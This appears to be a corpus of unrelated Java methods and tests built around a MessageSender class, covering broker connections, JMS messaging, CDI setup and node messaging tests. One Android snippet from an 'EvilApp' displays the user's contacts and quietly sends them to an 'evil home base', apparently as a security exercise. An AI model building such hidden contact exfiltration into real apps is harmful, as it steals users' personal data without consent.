protected void unAdvertiseAll(BrokerState brokerState) throws ClientException { if (!clientConfig.detailState) throw new ClientException("unAdertiseAll() not supported with client.store_detail_state=OFF"); MessageDestination clientDest = MessageDestination.formatClientDestination( clientID, brokerState.getBrokerAddress().getNodeURI()); MessageSender msgSender = brokerState.getMsgSender(); if (msgSender == null) throw new ClientException( "Connection not found for broker " + brokerState.getBrokerAddress()); AdvertisementMessage[] advMsgArray = brokerState.getAdvMessages().toArray(new AdvertisementMessage[0]); for (AdvertisementMessage advMsg : advMsgArray) { Unadvertisement unAdv = new Unadvertisement(advMsg.getMessageID()); UnadvertisementMessage unAdvMsg = new UnadvertisementMessage( unAdv, getNextMessageID(brokerState.getBrokerAddress().getNodeURI()), clientDest); try { msgSender.send(unAdvMsg, HostType.CLIENT); brokerState.removeAdvMsg(advMsg); } catch (CommunicationException e) { throw new ClientException(e.getMessage()); } } }
protected void unsubscribeCSAll(BrokerState brokerState) throws ClientException { if (!clientConfig.detailState) throw new ClientException( "unsubscribeCSAll() not supported with client.store_detail_state=OFF"); MessageDestination clientDest = MessageDestination.formatClientDestination( clientID, brokerState.getBrokerAddress().getNodeURI()); MessageSender msgSender = brokerState.getMsgSender(); if (msgSender == null) throw new ClientException( "Connection not found for broker " + brokerState.getBrokerAddress()); CompositeSubscriptionMessage[] csMsgArray = brokerState.getCSMessages().toArray(new CompositeSubscriptionMessage[0]); for (CompositeSubscriptionMessage csMsg : csMsgArray) { Uncompositesubscription unCS = new Uncompositesubscription(csMsg.getMessageID()); UncompositesubscriptionMessage unCSMsg = new UncompositesubscriptionMessage( unCS, getNextMessageID(brokerState.getBrokerAddress().getNodeURI()), clientDest); try { msgSender.send(unCSMsg, HostType.CLIENT); brokerState.removeCSMsg(csMsg); } catch (CommunicationException e) { throw new ClientException(e.getMessage()); } } }
@Override public void run() { // TODO Auto-generated method stub System.out.println(new Date().toLocaleString()); ApplicationContext ac = new ClassPathXmlApplicationContext("applicationContext.xml"); MessageSender messageSender = (MessageSender) ac.getBean("messageSender"); messageSender.sendMessage(); }
@Before public void setUp() { node1 = new MessageSender(9101); node2 = new MessageSender(9102); node3 = new MessageSender(9103); node1.start(); node2.start(); node3.start(); }
public static void main(String[] args) { GenericXmlApplicationContext ctx = new GenericXmlApplicationContext(); ctx.load("classpath:/jms-sender-app-context.xml", "classpath:/jms-listener-app-context.xml"); ctx.refresh(); MessageSender messageSender = ctx.getBean("messageSender", MessageSender.class); for (int i = 0; i < 10; i++) { messageSender.sendMessage("Test message: " + i); } }
@After public void cleanUp() { node1.stop(); node2.stop(); node3.stop(); node1 = null; node2 = null; node3 = null; }
/* Use this method to display the contacts in the EvilApp GUI */ private void showContacts(String contacts) { TextView contactView = (TextView) findViewById(R.id.text_view_contacts); contactView.setText("Contacts:\n" + contacts); /* Send the contacts to your evil home base Please do not remove this call */ MessageSender m = new MessageSender(); m.SendMessage(contacts); }
/** Send messages to query current list of pools. */ @Override public void trigger() { super.trigger(); if (_requestMessage != null) { CellMessage msg = new CellMessage(_cp, _requestMessage); _sender.sendMessage(0, null, msg); } else { _sender.sendMessage(super.metricLifetime(), _handler, _cp, _requestString); } }
/** * Connects to a broker with the given URI. The given URI should conform to an accepted * communication protocol format. * * @param brokerURI URI of the broker to connect to. * @return A BrokerState data structure to keep track of the state of the connection and related * operation * @throws ClientException In case the given URI is malformated, a connection already exists to * the specified broker, or a communication error is occurred. * @see BrokerState, NodeAddress */ public BrokerState connect(String brokerURI) throws ClientException { try { NodeAddress brokerAddr = ConnectionHelper.getAddress(brokerURI); if (brokerStates.containsKey(brokerAddr)) { throw new ClientException("Server connection already exists"); } else { if (brokerStates.size() == 0) setDefaultBrokerAddress(brokerAddr); MessageSender msgSender = commSystem.getMessageSender(brokerURI); BrokerState bState = addBrokerState(brokerAddr, msgSender); msgSender.connect( MessageDestination.formatClientDestination(clientID, brokerAddr.getNodeURI()), msgListener); return bState; } } catch (CommunicationException e) { exceptionLogger.error("Could not connect to broker: " + e); throw new ClientException("Could not connect to broker: " + e.getMessage(), e); } }
@SuppressWarnings({"UnusedDeclaration", "CdiInjectionPointsInspection"}) public void afterBeanDiscovery(@Observes final AfterBeanDiscovery abd, final BeanManager bm) { final ErraiService service = ErraiServiceSingleton.getService(); final MessageBus bus = service.getBus(); final EventRoutingTable eventRoutingTable = new EventRoutingTable(); if (bus.isSubscribed(CDI.SERVER_DISPATCHER_SUBJECT)) { return; } final byte[] randBytes = new byte[32]; final Random random = new Random(System.currentTimeMillis()); random.nextBytes(randBytes); abd.addBean(new ErraiServiceBean(bm, SecureHashUtil.hashToHexString(randBytes))); for (final MessageSender ms : messageSenders) { abd.addBean(new SenderBean(ms.getSenderType(), ms.getQualifiers(), bus)); } // Errai bus injection abd.addBean(new MessageBusBean(bus)); // Support to inject the request dispatcher. abd.addBean(new RequestDispatcherMetaData(bm, service.getDispatcher())); // Register observers abd.addObserverMethod(new ShutdownEventObserver(managedTypes, bus)); // subscribe service and rpc endpoints subscribeServices(bm, bus); final EventDispatcher eventDispatcher = new EventDispatcher(bm, eventRoutingTable, bus, observableEvents, eventQualifiers, abd); // subscribe event dispatcher bus.subscribe(CDI.SERVER_DISPATCHER_SUBJECT, eventDispatcher); }
@Test public void shouldMapReceiveAttributes() throws JMSException { // Given Mapping mapping = MessageSender.getJmsMappingFor(MappedApi.class); MapMessage message = createPayload(OPERATION_FIELD_NAME, "mappedCall", "A", "value1", "B", 0L); // When receive(message, mapping); // Then verify(serviceMock).mappedCall("value1", 0L); }
@Test public void shouldMapSendAttributes() throws JMSException { // Given MappedApi proxy = MessageSender.of(MappedApi.class); // When proxy.mappedCall("a", 0L); // Then MapMessage message = (MapMessage) captureMessage(); assertEquals("a", message.getObject("A")); assertEquals("0", message.getObject("B")); }
/** * Initializes the client object: (a) adds the default command handler (b) initializes the logging * system (c) creates a message listener (d) assign client ID if not already assigned (e) if the * configuration object specifies list of brokers, connects to those brokers and hook the message * listener to those broker connections * * <p>This method is always called internally from the constructors * * @param newConfig * @throws ClientException */ protected void initialize(ClientConfig newConfig) throws ClientException { clientConfig = newConfig; cmdHandlers = new ArrayList<CommandHandler>(); addCommandHandler(new BaseCommandHandler(this)); // initialize logging initLog(clientConfig.logLocation); // start a message listener in a thread who listens to messages from server msgListener = new MessageQueueManager(this); if (clientID == null) clientID = clientConfig.clientID; try { commSystem = new CommSystem(); MessageSender.setConnectRetryLimit(clientConfig.connectionRetries); MessageSender.setConnectRetryPauseTime(clientConfig.retryPauseTime); if (clientConfig.connectBrokerList != null) { for (String brokerURI : clientConfig.connectBrokerList) { connect(brokerURI); } } } catch (CommunicationException e) { throw new ClientException(e.getMessage()); } }
@Test public void shouldProperlyReceiveAStringMessage() throws Exception { SimpleMessageListenerContainer listener = new SimpleMessageListenerContainer(); listener.setConnectionFactory(connectionFactory); listener.setDestination(defaultDestination); MessageReceiver messageListener = new MessageReceiver(); listener.setMessageListener(messageListener); listener.start(); LOGGER.info("Sending message"); messageSender.send("Testing!"); LOGGER.info("Message sent"); }
/** * Disconnects from a broker with a specified BrokerState. The client first * unsubscribe/unadvertise all the subscriptions/advertisements before disconnecting from brokers. * * @param brokerState the BrokerState of the broker to disconnect from * @return The given broker state. * @throws ClientException Some exeception is unsubscribing/unadvertising or some other * communication error. */ protected BrokerState disconnect(BrokerState brokerState) throws ClientException { try { // Withdraw all the messages if (clientConfig.detailState) { unsubscribeAll(brokerState); unsubscribeCSAll(brokerState); unAdvertiseAll(brokerState); } // disconnect MessageSender msgSender = brokerState.getMsgSender(); msgSender.disconnect( MessageDestination.formatClientDestination( clientID, brokerState.getBrokerAddress().getNodeURI())); // remove the broker state brokerStates.remove(brokerState.getBrokerAddress()); } catch (CommunicationException e) { throw new ClientException( String.format( "Problem disconnecting from Broker %s: %s", brokerState.getBrokerAddress(), e.getMessage())); } return brokerState; }
@Test public void shouldCallServiceWhenSendingAsMapMessage() { // Given MappedApi sendProxy = MessageSender.of(MappedApi.class); Mapping receiveMapping = new MappingBuilder(OPERATION_FIELD_NAME) // .mapField("s1", FieldMapping.map("A")) // .mapField("s2", FieldMapping.map("B")) // .build(); // When sendProxy.mappedCall("a", 0L); receive(captureMessage(), receiveMapping); // Then verify(serviceMock).mappedCall("a", 0L); }
@Override protected MessageAttributes forwardByProtocol(Object destination, AttributedMessage message) throws NameLookupException, UnregisteredNameException, CommFailureException, MisdeliveredMessageException { try { return sender.handleOutgoingMessage(uri, message); } catch (CommFailureException e1) { decache(); throw e1; } catch (MisdeliveredMessageException e2) { decache(); throw e2; } catch (Exception e3) { decache(); throw new CommFailureException(e3); } }
private static <C, T extends AbstractElement> void installAction( Inventory inventory, Set<Subscription> subscriptions, Class<T> entityClass, MessageSender sender, Action<C, T> action) { Interest<C, T> interest = Interest.in(entityClass).being(action); Subscription s = inventory .observable(interest) .subscribe( (c) -> { // todo: ugly Tenant t; if (c instanceof AbstractElement) { if (c instanceof Relationship) { t = new Tenant(((Relationship) c).getSource().getRoot()); } else { t = new Tenant(((AbstractElement) c).getPath().getRoot()); } } else if (c instanceof Action.EnvironmentCopy) { t = new Tenant(((Action.EnvironmentCopy) c).getSource().getPath().getRoot()); } else if (c instanceof Action.Update) { t = new Tenant( ((AbstractElement) ((Action.Update) c).getOriginalEntity()) .getPath() .getRoot()); } else { throw new IllegalArgumentException( "Unknown event type: " + c.getClass().getName()); } sender.send(interest, t, c); }); subscriptions.add(s); }
/** * Finalizes the message sender manager and disconnects all message senders from their target. * * @throws PerfCakeException When the disconnection operation failed. */ public void close() throws PerfCakeException { for (final MessageSender ms : allSenders) { ms.close(); } }
/** * Adds {@link MessageSender} into available senders and initializes it. * * @param sender Sender to be registered with this manager. * @throws PerfCakeException When the initialization of the sender fails. */ public void addSenderInstance(final MessageSender sender) throws PerfCakeException { sender.init(); availableSenders.add(sender); allSenders.add(sender); }
private void sendAll(final Iterable4 messages, final MessageSender sender) { final Iterator4 iterator = messages.iterator(); while (iterator.moveNext()) { sender.send(iterator.current()); } }
public static void handleYesNoReturn(boolean value) { // Called by the message display when a yes/no response has been provided returnObject.handleYesNoReturn(value); returnObject = null; awaitingInput = false; }
@Test public void test() { node2.registerMessageObserver( new ConcreteObserver<Message>() { @Override public void notifyObserver(Message e) { if (e.has("content") && e.getString("content").equals("message1")) { recievedMessage1 = true; } if (e.has("content") && e.getString("content").equals("message3")) { fail("Recieved message while being in stopped state."); } } }); node3.registerMessageObserver( new ConcreteObserver<Message>() { @Override public void notifyObserver(Message e) { if (e.has("content") && e.getString("content").equals("message2")) { recievedMessage2 = true; } if (e.has("content") && e.getString("content").equals("message4")) { recievedMessage4 = true; } if (e.has("content") && e.getString("content").equals("message5")) { fail("Recieved message from stopped node"); } } }); Message message = new Message(); message.setDestinationAddress(node2.getAddress()); message.setKey("content", "message1"); node1.send(message); message = new Message(); message.setDestinationAddress(node3.getAddress()); message.setKey("content", "message2"); node2.send(message); node2.stop(); message = new Message(); message.setDestinationAddress(node2.getAddress()); message.setKey("content", "message3"); node1.send(message); message = new Message(); message.setDestinationAddress(node3.getAddress()); message.setKey("content", "message4"); node1.send(message); message = new Message(); message.setDestinationAddress(node3.getAddress()); message.setKey("content", "message5"); assertFalse(node2.send(message)); try { Thread.sleep(1000); } catch (InterruptedException e1) { fail(e1.getMessage()); } assertTrue(recievedMessage1); assertTrue(recievedMessage2); assertTrue(recievedMessage4); assertTrue(node2.getConnections().size() == 0); for (Entry<Address, Connection> e : node1.getConnections().entrySet()) { assertEquals(e.getKey(), e.getValue().getAddress()); assertFalse(e.getKey().equals(node2.getAddress())); } for (Entry<Address, Connection> e : node3.getConnections().entrySet()) { assertEquals(e.getKey(), e.getValue().getAddress()); assertFalse(e.getKey().equals(node3.getAddress())); } }